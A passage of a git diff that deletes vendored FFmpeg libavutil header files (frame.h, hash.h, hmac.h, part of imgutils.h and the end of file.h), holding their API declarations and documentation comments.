- * *size to the size in bytes of the buffer in *bufptr. - * The returned buffer must be released with av_file_unmap(). - * - * @param log_offset loglevel offset used for logging - * @param log_ctx context used for logging - * @return a non negative number in case of success, a negative value - * corresponding to an AVERROR error code in case of failure - */ -av_warn_unused_result -int av_file_map(const char *filename, uint8_t **bufptr, size_t *size, - int log_offset, void *log_ctx); - -/** - * Unmap or free the buffer bufptr created by av_file_map(). - * - * @param size size in bytes of bufptr, must be the same as returned - * by av_file_map() - */ -void av_file_unmap(uint8_t *bufptr, size_t size); - -/** - * Wrapper to work around the lack of mkstemp() on mingw. - * Also, tries to create file in /tmp first, if possible. - * *prefix can be a character constant; *filename will be allocated internally. - * @return file descriptor of opened file (or negative value corresponding to an - * AVERROR code on error) - * and opened file name in **filename. - * @note On very old libcs it is necessary to set a secure umask before - * calling this, av_tempfile() can't call umask itself as it is used in - * libraries and could interfere with the calling application. - */ -int av_tempfile(const char *prefix, char **filename, int log_offset, void *log_ctx); - -#endif /* AVUTIL_FILE_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/frame.h b/desktop_3230/FFmpeg/include/libavutil/frame.h deleted file mode 100644 index 8dc4049..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/frame.h +++ /dev/null @@ -1,723 +0,0 @@ -/* - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * @ingroup lavu_frame - * reference-counted frame API - */ - -#ifndef AVUTIL_FRAME_H -#define AVUTIL_FRAME_H - -#include - -#include "avutil.h" -#include "buffer.h" -#include "dict.h" -#include "rational.h" -#include "samplefmt.h" -#include "pixfmt.h" -#include "version.h" - - -/** - * @defgroup lavu_frame AVFrame - * @ingroup lavu_data - * - * @{ - * AVFrame is an abstraction for reference-counted raw multimedia data. - */ - -enum AVFrameSideDataType { - /** - * The data is the AVPanScan struct defined in libavcodec. - */ - AV_FRAME_DATA_PANSCAN, - /** - * ATSC A53 Part 4 Closed Captions. - * A53 CC bitstream is stored as uint8_t in AVFrameSideData.data. - * The number of bytes of CC data is AVFrameSideData.size. - */ - AV_FRAME_DATA_A53_CC, - /** - * Stereoscopic 3d metadata. - * The data is the AVStereo3D struct defined in libavutil/stereo3d.h. - */ - AV_FRAME_DATA_STEREO3D, - /** - * The data is the AVMatrixEncoding enum defined in libavutil/channel_layout.h. - */ - AV_FRAME_DATA_MATRIXENCODING, - /** - * Metadata relevant to a downmix procedure. - * The data is the AVDownmixInfo struct defined in libavutil/downmix_info.h. - */ - AV_FRAME_DATA_DOWNMIX_INFO, - /** - * ReplayGain information in the form of the AVReplayGain struct. - */ - AV_FRAME_DATA_REPLAYGAIN, - /** - * This side data contains a 3x3 transformation matrix describing an affine - * transformation that needs to be applied to the frame for correct - * presentation. - * - * See libavutil/display.h for a detailed description of the data. - */ - AV_FRAME_DATA_DISPLAYMATRIX, - /** - * Active Format Description data consisting of a single byte as specified - * in ETSI TS 101 154 using AVActiveFormatDescription enum. - */ - AV_FRAME_DATA_AFD, - /** - * Motion vectors exported by some codecs (on demand through the export_mvs - * flag set in the libavcodec AVCodecContext flags2 option). - * The data is the AVMotionVector struct defined in - * libavutil/motion_vector.h. - */ - AV_FRAME_DATA_MOTION_VECTORS, - /** - * Recommmends skipping the specified number of samples. This is exported - * only if the "skip_manual" AVOption is set in libavcodec. - * This has the same format as AV_PKT_DATA_SKIP_SAMPLES. - * @code - * u32le number of samples to skip from start of this packet - * u32le number of samples to skip from end of this packet - * u8 reason for start skip - * u8 reason for end skip (0=padding silence, 1=convergence) - * @endcode - */ - AV_FRAME_DATA_SKIP_SAMPLES, - /** - * This side data must be associated with an audio frame and corresponds to - * enum AVAudioServiceType defined in avcodec.h. - */ - AV_FRAME_DATA_AUDIO_SERVICE_TYPE, - /** - * Mastering display metadata associated with a video frame. The payload is - * an AVMasteringDisplayMetadata type and contains information about the - * mastering display color volume. - */ - AV_FRAME_DATA_MASTERING_DISPLAY_METADATA, - /** - * The GOP timecode in 25 bit timecode format. Data format is 64-bit integer. - * This is set on the first frame of a GOP that has a temporal reference of 0. - */ - AV_FRAME_DATA_GOP_TIMECODE -}; - -enum AVActiveFormatDescription { - AV_AFD_SAME = 8, - AV_AFD_4_3 = 9, - AV_AFD_16_9 = 10, - AV_AFD_14_9 = 11, - AV_AFD_4_3_SP_14_9 = 13, - AV_AFD_16_9_SP_14_9 = 14, - AV_AFD_SP_4_3 = 15, -}; - - -/** - * Structure to hold side data for an AVFrame. - * - * sizeof(AVFrameSideData) is not a part of the public ABI, so new fields may be added - * to the end with a minor bump. - */ -typedef struct AVFrameSideData { - enum AVFrameSideDataType type; - uint8_t *data; - int size; - AVDictionary *metadata; - AVBufferRef *buf; -} AVFrameSideData; - -/** - * This structure describes decoded (raw) audio or video data. - * - * AVFrame must be allocated using av_frame_alloc(). Note that this only - * allocates the AVFrame itself, the buffers for the data must be managed - * through other means (see below). - * AVFrame must be freed with av_frame_free(). - * - * AVFrame is typically allocated once and then reused multiple times to hold - * different data (e.g. a single AVFrame to hold frames received from a - * decoder). In such a case, av_frame_unref() will free any references held by - * the frame and reset it to its original clean state before it - * is reused again. - * - * The data described by an AVFrame is usually reference counted through the - * AVBuffer API. The underlying buffer references are stored in AVFrame.buf / - * AVFrame.extended_buf. An AVFrame is considered to be reference counted if at - * least one reference is set, i.e. if AVFrame.buf[0] != NULL. In such a case, - * every single data plane must be contained in one of the buffers in - * AVFrame.buf or AVFrame.extended_buf. - * There may be a single buffer for all the data, or one separate buffer for - * each plane, or anything in between. - * - * sizeof(AVFrame) is not a part of the public ABI, so new fields may be added - * to the end with a minor bump. - * Similarly fields that are marked as to be only accessed by - * av_opt_ptr() can be reordered. This allows 2 forks to add fields - * without breaking compatibility with each other. - */ -typedef struct AVFrame { -#define AV_NUM_DATA_POINTERS 8 - /** - * pointer to the picture/channel planes. - * This might be different from the first allocated byte - * - * Some decoders access areas outside 0,0 - width,height, please - * see avcodec_align_dimensions2(). Some filters and swscale can read - * up to 16 bytes beyond the planes, if these filters are to be used, - * then 16 extra bytes must be allocated. - */ - uint8_t *data[AV_NUM_DATA_POINTERS]; - - /** - * For video, size in bytes of each picture line. - * For audio, size in bytes of each plane. - * - * For audio, only linesize[0] may be set. For planar audio, each channel - * plane must be the same size. - * - * For video the linesizes should be multiples of the CPUs alignment - * preference, this is 16 or 32 for modern desktop CPUs. - * Some code requires such alignment other code can be slower without - * correct alignment, for yet other it makes no difference. - * - * @note The linesize may be larger than the size of usable data -- there - * may be extra padding present for performance reasons. - */ - int linesize[AV_NUM_DATA_POINTERS]; - - /** - * pointers to the data planes/channels. - * - * For video, this should simply point to data[]. - * - * For planar audio, each channel has a separate data pointer, and - * linesize[0] contains the size of each channel buffer. - * For packed audio, there is just one data pointer, and linesize[0] - * contains the total size of the buffer for all channels. - * - * Note: Both data and extended_data should always be set in a valid frame, - * but for planar audio with more channels that can fit in data, - * extended_data must be used in order to access all channels. - */ - uint8_t **extended_data; - - /** - * width and height of the video frame - */ - int width, height; - - /** - * number of audio samples (per channel) described by this frame - */ - int nb_samples; - - /** - * format of the frame, -1 if unknown or unset - * Values correspond to enum AVPixelFormat for video frames, - * enum AVSampleFormat for audio) - */ - int format; - - /** - * 1 -> keyframe, 0-> not - */ - int key_frame; - - /** - * Picture type of the frame. - */ - enum AVPictureType pict_type; - - /** - * Sample aspect ratio for the video frame, 0/1 if unknown/unspecified. - */ - AVRational sample_aspect_ratio; - - /** - * Presentation timestamp in time_base units (time when frame should be shown to user). - */ - int64_t pts; - - /** - * PTS copied from the AVPacket that was decoded to produce this frame. - */ - int64_t pkt_pts; - - /** - * DTS copied from the AVPacket that triggered returning this frame. (if frame threading isn't used) - * This is also the Presentation time of this AVFrame calculated from - * only AVPacket.dts values without pts values. - */ - int64_t pkt_dts; - - /** - * picture number in bitstream order - */ - int coded_picture_number; - /** - * picture number in display order - */ - int display_picture_number; - - /** - * quality (between 1 (good) and FF_LAMBDA_MAX (bad)) - */ - int quality; - - /** - * for some private data of the user - */ - void *opaque; - -#if FF_API_ERROR_FRAME - /** - * @deprecated unused - */ - attribute_deprecated - uint64_t error[AV_NUM_DATA_POINTERS]; -#endif - - /** - * When decoding, this signals how much the picture must be delayed. - * extra_delay = repeat_pict / (2*fps) - */ - int repeat_pict; - - /** - * The content of the picture is interlaced. - */ - int interlaced_frame; - - /** - * If the content is interlaced, is top field displayed first. - */ - int top_field_first; - - /** - * Tell user application that palette has changed from previous frame. - */ - int palette_has_changed; - - /** - * reordered opaque 64bit (generally an integer or a double precision float - * PTS but can be anything). - * The user sets AVCodecContext.reordered_opaque to represent the input at - * that time, - * the decoder reorders values as needed and sets AVFrame.reordered_opaque - * to exactly one of the values provided by the user through AVCodecContext.reordered_opaque - * @deprecated in favor of pkt_pts - */ - int64_t reordered_opaque; - - /** - * Sample rate of the audio data. - */ - int sample_rate; - - /** - * Channel layout of the audio data. - */ - uint64_t channel_layout; - - /** - * AVBuffer references backing the data for this frame. If all elements of - * this array are NULL, then this frame is not reference counted. This array - * must be filled contiguously -- if buf[i] is non-NULL then buf[j] must - * also be non-NULL for all j < i. - * - * There may be at most one AVBuffer per data plane, so for video this array - * always contains all the references. For planar audio with more than - * AV_NUM_DATA_POINTERS channels, there may be more buffers than can fit in - * this array. Then the extra AVBufferRef pointers are stored in the - * extended_buf array. - */ - AVBufferRef *buf[AV_NUM_DATA_POINTERS]; - - /** - * For planar audio which requires more than AV_NUM_DATA_POINTERS - * AVBufferRef pointers, this array will hold all the references which - * cannot fit into AVFrame.buf. - * - * Note that this is different from AVFrame.extended_data, which always - * contains all the pointers. This array only contains the extra pointers, - * which cannot fit into AVFrame.buf. - * - * This array is always allocated using av_malloc() by whoever constructs - * the frame. It is freed in av_frame_unref(). - */ - AVBufferRef **extended_buf; - /** - * Number of elements in extended_buf. - */ - int nb_extended_buf; - - AVFrameSideData **side_data; - int nb_side_data; - -/** - * @defgroup lavu_frame_flags AV_FRAME_FLAGS - * Flags describing additional frame properties. - * - * @{ - */ - -/** - * The frame data may be corrupted, e.g. due to decoding errors. - */ -#define AV_FRAME_FLAG_CORRUPT (1 << 0) -/** - * @} - */ - - /** - * Frame flags, a combination of @ref lavu_frame_flags - */ - int flags; - - /** - * MPEG vs JPEG YUV range. - * It must be accessed using av_frame_get_color_range() and - * av_frame_set_color_range(). - * - encoding: Set by user - * - decoding: Set by libavcodec - */ - enum AVColorRange color_range; - - enum AVColorPrimaries color_primaries; - - enum AVColorTransferCharacteristic color_trc; - - /** - * YUV colorspace type. - * It must be accessed using av_frame_get_colorspace() and - * av_frame_set_colorspace(). - * - encoding: Set by user - * - decoding: Set by libavcodec - */ - enum AVColorSpace colorspace; - - enum AVChromaLocation chroma_location; - - /** - * frame timestamp estimated using various heuristics, in stream time base - * Code outside libavutil should access this field using: - * av_frame_get_best_effort_timestamp(frame) - * - encoding: unused - * - decoding: set by libavcodec, read by user. - */ - int64_t best_effort_timestamp; - - /** - * reordered pos from the last AVPacket that has been input into the decoder - * Code outside libavutil should access this field using: - * av_frame_get_pkt_pos(frame) - * - encoding: unused - * - decoding: Read by user. - */ - int64_t pkt_pos; - - /** - * duration of the corresponding packet, expressed in - * AVStream->time_base units, 0 if unknown. - * Code outside libavutil should access this field using: - * av_frame_get_pkt_duration(frame) - * - encoding: unused - * - decoding: Read by user. - */ - int64_t pkt_duration; - - /** - * metadata. - * Code outside libavutil should access this field using: - * av_frame_get_metadata(frame) - * - encoding: Set by user. - * - decoding: Set by libavcodec. - */ - AVDictionary *metadata; - - /** - * decode error flags of the frame, set to a combination of - * FF_DECODE_ERROR_xxx flags if the decoder produced a frame, but there - * were errors during the decoding. - * Code outside libavutil should access this field using: - * av_frame_get_decode_error_flags(frame) - * - encoding: unused - * - decoding: set by libavcodec, read by user. - */ - int decode_error_flags; -#define FF_DECODE_ERROR_INVALID_BITSTREAM 1 -#define FF_DECODE_ERROR_MISSING_REFERENCE 2 - - /** - * number of audio channels, only used for audio. - * Code outside libavutil should access this field using: - * av_frame_get_channels(frame) - * - encoding: unused - * - decoding: Read by user. - */ - int channels; - - /** - * size of the corresponding packet containing the compressed - * frame. It must be accessed using av_frame_get_pkt_size() and - * av_frame_set_pkt_size(). - * It is set to a negative value if unknown. - * - encoding: unused - * - decoding: set by libavcodec, read by user. - */ - int pkt_size; - -#if FF_API_FRAME_QP - /** - * QP table - * Not to be accessed directly from outside libavutil - */ - attribute_deprecated - int8_t *qscale_table; - /** - * QP store stride - * Not to be accessed directly from outside libavutil - */ - attribute_deprecated - int qstride; - - attribute_deprecated - int qscale_type; - - /** - * Not to be accessed directly from outside libavutil - */ - AVBufferRef *qp_table_buf; -#endif -} AVFrame; - -/** - * Accessors for some AVFrame fields. - * The position of these field in the structure is not part of the ABI, - * they should not be accessed directly outside libavutil. - */ -int64_t av_frame_get_best_effort_timestamp(const AVFrame *frame); -void av_frame_set_best_effort_timestamp(AVFrame *frame, int64_t val); -int64_t av_frame_get_pkt_duration (const AVFrame *frame); -void av_frame_set_pkt_duration (AVFrame *frame, int64_t val); -int64_t av_frame_get_pkt_pos (const AVFrame *frame); -void av_frame_set_pkt_pos (AVFrame *frame, int64_t val); -int64_t av_frame_get_channel_layout (const AVFrame *frame); -void av_frame_set_channel_layout (AVFrame *frame, int64_t val); -int av_frame_get_channels (const AVFrame *frame); -void av_frame_set_channels (AVFrame *frame, int val); -int av_frame_get_sample_rate (const AVFrame *frame); -void av_frame_set_sample_rate (AVFrame *frame, int val); -AVDictionary *av_frame_get_metadata (const AVFrame *frame); -void av_frame_set_metadata (AVFrame *frame, AVDictionary *val); -int av_frame_get_decode_error_flags (const AVFrame *frame); -void av_frame_set_decode_error_flags (AVFrame *frame, int val); -int av_frame_get_pkt_size(const AVFrame *frame); -void av_frame_set_pkt_size(AVFrame *frame, int val); -AVDictionary **avpriv_frame_get_metadatap(AVFrame *frame); -#if FF_API_FRAME_QP -int8_t *av_frame_get_qp_table(AVFrame *f, int *stride, int *type); -int av_frame_set_qp_table(AVFrame *f, AVBufferRef *buf, int stride, int type); -#endif -enum AVColorSpace av_frame_get_colorspace(const AVFrame *frame); -void av_frame_set_colorspace(AVFrame *frame, enum AVColorSpace val); -enum AVColorRange av_frame_get_color_range(const AVFrame *frame); -void av_frame_set_color_range(AVFrame *frame, enum AVColorRange val); - -/** - * Get the name of a colorspace. - * @return a static string identifying the colorspace; can be NULL. - */ -const char *av_get_colorspace_name(enum AVColorSpace val); - -/** - * Allocate an AVFrame and set its fields to default values. The resulting - * struct must be freed using av_frame_free(). - * - * @return An AVFrame filled with default values or NULL on failure. - * - * @note this only allocates the AVFrame itself, not the data buffers. Those - * must be allocated through other means, e.g. with av_frame_get_buffer() or - * manually. - */ -AVFrame *av_frame_alloc(void); - -/** - * Free the frame and any dynamically allocated objects in it, - * e.g. extended_data. If the frame is reference counted, it will be - * unreferenced first. - * - * @param frame frame to be freed. The pointer will be set to NULL. - */ -void av_frame_free(AVFrame **frame); - -/** - * Set up a new reference to the data described by the source frame. - * - * Copy frame properties from src to dst and create a new reference for each - * AVBufferRef from src. - * - * If src is not reference counted, new buffers are allocated and the data is - * copied. - * - * @return 0 on success, a negative AVERROR on error - */ -int av_frame_ref(AVFrame *dst, const AVFrame *src); - -/** - * Create a new frame that references the same data as src. - * - * This is a shortcut for av_frame_alloc()+av_frame_ref(). - * - * @return newly created AVFrame on success, NULL on error. - */ -AVFrame *av_frame_clone(const AVFrame *src); - -/** - * Unreference all the buffers referenced by frame and reset the frame fields. - */ -void av_frame_unref(AVFrame *frame); - -/** - * Move everything contained in src to dst and reset src. - */ -void av_frame_move_ref(AVFrame *dst, AVFrame *src); - -/** - * Allocate new buffer(s) for audio or video data. - * - * The following fields must be set on frame before calling this function: - * - format (pixel format for video, sample format for audio) - * - width and height for video - * - nb_samples and channel_layout for audio - * - * This function will fill AVFrame.data and AVFrame.buf arrays and, if - * necessary, allocate and fill AVFrame.extended_data and AVFrame.extended_buf. - * For planar formats, one buffer will be allocated for each plane. - * - * @param frame frame in which to store the new buffers. - * @param align required buffer size alignment - * - * @return 0 on success, a negative AVERROR on error. - */ -int av_frame_get_buffer(AVFrame *frame, int align); - -/** - * Check if the frame data is writable. - * - * @return A positive value if the frame data is writable (which is true if and - * only if each of the underlying buffers has only one reference, namely the one - * stored in this frame). Return 0 otherwise. - * - * If 1 is returned the answer is valid until av_buffer_ref() is called on any - * of the underlying AVBufferRefs (e.g. through av_frame_ref() or directly). - * - * @see av_frame_make_writable(), av_buffer_is_writable() - */ -int av_frame_is_writable(AVFrame *frame); - -/** - * Ensure that the frame data is writable, avoiding data copy if possible. - * - * Do nothing if the frame is writable, allocate new buffers and copy the data - * if it is not. - * - * @return 0 on success, a negative AVERROR on error. - * - * @see av_frame_is_writable(), av_buffer_is_writable(), - * av_buffer_make_writable() - */ -int av_frame_make_writable(AVFrame *frame); - -/** - * Copy the frame data from src to dst. - * - * This function does not allocate anything, dst must be already initialized and - * allocated with the same parameters as src. - * - * This function only copies the frame data (i.e. the contents of the data / - * extended data arrays), not any other properties. - * - * @return >= 0 on success, a negative AVERROR on error. - */ -int av_frame_copy(AVFrame *dst, const AVFrame *src); - -/** - * Copy only "metadata" fields from src to dst. - * - * Metadata for the purpose of this function are those fields that do not affect - * the data layout in the buffers. E.g. pts, sample rate (for audio) or sample - * aspect ratio (for video), but not width/height or channel layout. - * Side data is also copied. - */ -int av_frame_copy_props(AVFrame *dst, const AVFrame *src); - -/** - * Get the buffer reference a given data plane is stored in. - * - * @param plane index of the data plane of interest in frame->extended_data. - * - * @return the buffer reference that contains the plane or NULL if the input - * frame is not valid. - */ -AVBufferRef *av_frame_get_plane_buffer(AVFrame *frame, int plane); - -/** - * Add a new side data to a frame. - * - * @param frame a frame to which the side data should be added - * @param type type of the added side data - * @param size size of the side data - * - * @return newly added side data on success, NULL on error - */ -AVFrameSideData *av_frame_new_side_data(AVFrame *frame, - enum AVFrameSideDataType type, - int size); - -/** - * @return a pointer to the side data of a given type on success, NULL if there - * is no side data with such type in this frame. - */ -AVFrameSideData *av_frame_get_side_data(const AVFrame *frame, - enum AVFrameSideDataType type); - -/** - * If side data of the supplied type exists in the frame, free it and remove it - * from the frame. - */ -void av_frame_remove_side_data(AVFrame *frame, enum AVFrameSideDataType type); - -/** - * @return a string identifying the side data type - */ -const char *av_frame_side_data_name(enum AVFrameSideDataType type); - -/** - * @} - */ - -#endif /* AVUTIL_FRAME_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/hash.h b/desktop_3230/FFmpeg/include/libavutil/hash.h deleted file mode 100644 index d4bcbf8..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/hash.h +++ /dev/null @@ -1,112 +0,0 @@ -/* - * Copyright (C) 2013 Reimar Döffinger - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_HASH_H -#define AVUTIL_HASH_H - -#include - -struct AVHashContext; - -/** - * Allocate a hash context for the algorithm specified by name. - * - * @return >= 0 for success, a negative error code for failure - * @note The context is not initialized, you must call av_hash_init(). - */ -int av_hash_alloc(struct AVHashContext **ctx, const char *name); - -/** - * Get the names of available hash algorithms. - * - * This function can be used to enumerate the algorithms. - * - * @param i index of the hash algorithm, starting from 0 - * @return a pointer to a static string or NULL if i is out of range - */ -const char *av_hash_names(int i); - -/** - * Get the name of the algorithm corresponding to the given hash context. - */ -const char *av_hash_get_name(const struct AVHashContext *ctx); - -/** - * Maximum value that av_hash_get_size will currently return. - * - * You can use this if you absolutely want or need to use static allocation - * and are fine with not supporting hashes newly added to libavutil without - * recompilation. - * Note that you still need to check against av_hash_get_size, adding new hashes - * with larger sizes will not be considered an ABI change and should not cause - * your code to overflow a buffer. - */ -#define AV_HASH_MAX_SIZE 64 - -/** - * Get the size of the resulting hash value in bytes. - * - * The pointer passed to av_hash_final have space for at least this many bytes. - */ -int av_hash_get_size(const struct AVHashContext *ctx); - -/** - * Initialize or reset a hash context. - */ -void av_hash_init(struct AVHashContext *ctx); - -/** - * Update a hash context with additional data. - */ -void av_hash_update(struct AVHashContext *ctx, const uint8_t *src, int len); - -/** - * Finalize a hash context and compute the actual hash value. - */ -void av_hash_final(struct AVHashContext *ctx, uint8_t *dst); - -/** - * Finalize a hash context and compute the actual hash value. - * If size is smaller than the hash size, the hash is truncated; - * if size is larger, the buffer is padded with 0. - */ -void av_hash_final_bin(struct AVHashContext *ctx, uint8_t *dst, int size); - -/** - * Finalize a hash context and compute the actual hash value as a hex string. - * The string is always 0-terminated. - * If size is smaller than 2 * hash_size + 1, the hex string is truncated. - */ -void av_hash_final_hex(struct AVHashContext *ctx, uint8_t *dst, int size); - -/** - * Finalize a hash context and compute the actual hash value as a base64 string. - * The string is always 0-terminated. - * If size is smaller than AV_BASE64_SIZE(hash_size), the base64 string is - * truncated. - */ -void av_hash_final_b64(struct AVHashContext *ctx, uint8_t *dst, int size); - -/** - * Free hash context. - */ -void av_hash_freep(struct AVHashContext **ctx); - -#endif /* AVUTIL_HASH_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/hmac.h b/desktop_3230/FFmpeg/include/libavutil/hmac.h deleted file mode 100644 index 576a0a4..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/hmac.h +++ /dev/null @@ -1,100 +0,0 @@ -/* - * Copyright (C) 2012 Martin Storsjo - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_HMAC_H -#define AVUTIL_HMAC_H - -#include - -#include "version.h" -/** - * @defgroup lavu_hmac HMAC - * @ingroup lavu_crypto - * @{ - */ - -enum AVHMACType { - AV_HMAC_MD5, - AV_HMAC_SHA1, - AV_HMAC_SHA224, - AV_HMAC_SHA256, - AV_HMAC_SHA384 = 12, - AV_HMAC_SHA512, -}; - -typedef struct AVHMAC AVHMAC; - -/** - * Allocate an AVHMAC context. - * @param type The hash function used for the HMAC. - */ -AVHMAC *av_hmac_alloc(enum AVHMACType type); - -/** - * Free an AVHMAC context. - * @param ctx The context to free, may be NULL - */ -void av_hmac_free(AVHMAC *ctx); - -/** - * Initialize an AVHMAC context with an authentication key. - * @param ctx The HMAC context - * @param key The authentication key - * @param keylen The length of the key, in bytes - */ -void av_hmac_init(AVHMAC *ctx, const uint8_t *key, unsigned int keylen); - -/** - * Hash data with the HMAC. - * @param ctx The HMAC context - * @param data The data to hash - * @param len The length of the data, in bytes - */ -void av_hmac_update(AVHMAC *ctx, const uint8_t *data, unsigned int len); - -/** - * Finish hashing and output the HMAC digest. - * @param ctx The HMAC context - * @param out The output buffer to write the digest into - * @param outlen The length of the out buffer, in bytes - * @return The number of bytes written to out, or a negative error code. - */ -int av_hmac_final(AVHMAC *ctx, uint8_t *out, unsigned int outlen); - -/** - * Hash an array of data with a key. - * @param ctx The HMAC context - * @param data The data to hash - * @param len The length of the data, in bytes - * @param key The authentication key - * @param keylen The length of the key, in bytes - * @param out The output buffer to write the digest into - * @param outlen The length of the out buffer, in bytes - * @return The number of bytes written to out, or a negative error code. - */ -int av_hmac_calc(AVHMAC *ctx, const uint8_t *data, unsigned int len, - const uint8_t *key, unsigned int keylen, - uint8_t *out, unsigned int outlen); - -/** - * @} - */ - -#endif /* AVUTIL_HMAC_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/imgutils.h b/desktop_3230/FFmpeg/include/libavutil/imgutils.h deleted file mode 100644 index 23282a3..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/imgutils.h +++ /dev/null @@ -1,213 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_IMGUTILS_H -#define AVUTIL_IMGUTILS_H - -/** - * @file - * misc image utilities - * - * @addtogroup lavu_picture - * @{ - */ - -#include "avutil.h" -#include "pixdesc.h" -#include "rational.h" - -/** - * Compute the max pixel step for each plane of an image with a - * format described by pixdesc. - * - * The pixel step is the distance in bytes between the first byte of - * the group of bytes which describe a pixel component and the first - * byte of the successive group in the same plane for the same - * component. - * - * @param max_pixsteps an array which is filled with the max pixel step - * for each plane. Since a plane may contain different pixel - * components, the computed max_pixsteps[plane] is relative to the - * component in the plane with the max pixel step. - * @param max_pixstep_comps an array which is filled with the component - * for each plane which has the max pixel step. May be NULL. - */ -void av_image_fill_max_pixsteps(int max_pixsteps[4], int max_pixstep_comps[4], - const AVPixFmtDescriptor *pixdesc); - -/** - * Compute the size of an image line with format pix_fmt and width - * width for the plane plane. - * - * @return the computed size in bytes - */ -int av_image_get_linesize(enum AVPixelFormat pix_fmt, int width, int plane); - -/** - * Fill plane linesizes for an image with pixel format pix_fmt and - * width width. - * - * @param linesizes array to be filled with the linesize for each plane - * @return >= 0 in case of success, a negative error code otherwise - */ -int av_image_fill_linesizes(int linesizes[4], enum AVPixelFormat pix_fmt, int width); - -/** - * Fill plane data pointers for an image with pixel format pix_fmt and - * height height. - * - * @param data pointers array to be filled with the pointer for each image plane - * @param ptr the pointer to a buffer which will contain the image - * @param linesizes the array containing the linesize for each - * plane, should be filled by av_image_fill_linesizes() - * @return the size in bytes required for the image buffer, a negative - * error code in case of failure - */ -int av_image_fill_pointers(uint8_t *data[4], enum AVPixelFormat pix_fmt, int height, - uint8_t *ptr, const int linesizes[4]); - -/** - * Allocate an image with size w and h and pixel format pix_fmt, and - * fill pointers and linesizes accordingly. - * The allocated image buffer has to be freed by using - * av_freep(&pointers[0]). - * - * @param align the value to use for buffer size alignment - * @return the size in bytes required for the image buffer, a negative - * error code in case of failure - */ -int av_image_alloc(uint8_t *pointers[4], int linesizes[4], - int w, int h, enum AVPixelFormat pix_fmt, int align); - -/** - * Copy image plane from src to dst. - * That is, copy "height" number of lines of "bytewidth" bytes each. - * The first byte of each successive line is separated by *_linesize - * bytes. - * - * bytewidth must be contained by both absolute values of dst_linesize - * and src_linesize, otherwise the function behavior is undefined. - * - * @param dst_linesize linesize for the image plane in dst - * @param src_linesize linesize for the image plane in src - */ -void av_image_copy_plane(uint8_t *dst, int dst_linesize, - const uint8_t *src, int src_linesize, - int bytewidth, int height); - -/** - * Copy image in src_data to dst_data. - * - * @param dst_linesizes linesizes for the image in dst_data - * @param src_linesizes linesizes for the image in src_data - */ -void av_image_copy(uint8_t *dst_data[4], int dst_linesizes[4], - const uint8_t *src_data[4], const int src_linesizes[4], - enum AVPixelFormat pix_fmt, int width, int height); - -/** - * Setup the data pointers and linesizes based on the specified image - * parameters and the provided array. - * - * The fields of the given image are filled in by using the src - * address which points to the image data buffer. Depending on the - * specified pixel format, one or multiple image data pointers and - * line sizes will be set. If a planar format is specified, several - * pointers will be set pointing to the different picture planes and - * the line sizes of the different planes will be stored in the - * lines_sizes array. Call with src == NULL to get the required - * size for the src buffer. - * - * To allocate the buffer and fill in the dst_data and dst_linesize in - * one call, use av_image_alloc(). - * - * @param dst_data data pointers to be filled in - * @param dst_linesizes linesizes for the image in dst_data to be filled in - * @param src buffer which will contain or contains the actual image data, can be NULL - * @param pix_fmt the pixel format of the image - * @param width the width of the image in pixels - * @param height the height of the image in pixels - * @param align the value used in src for linesize alignment - * @return the size in bytes required for src, a negative error code - * in case of failure - */ -int av_image_fill_arrays(uint8_t *dst_data[4], int dst_linesize[4], - const uint8_t *src, - enum AVPixelFormat pix_fmt, int width, int height, int align); - -/** - * Return the size in bytes of the amount of data required to store an - * image with the given parameters. - * - * @param[in] align the assumed linesize alignment - */ -int av_image_get_buffer_size(enum AVPixelFormat pix_fmt, int width, int height, int align); - -/** - * Copy image data from an image into a buffer. - * - * av_image_get_buffer_size() can be used to compute the required size - * for the buffer to fill. - * - * @param dst a buffer into which picture data 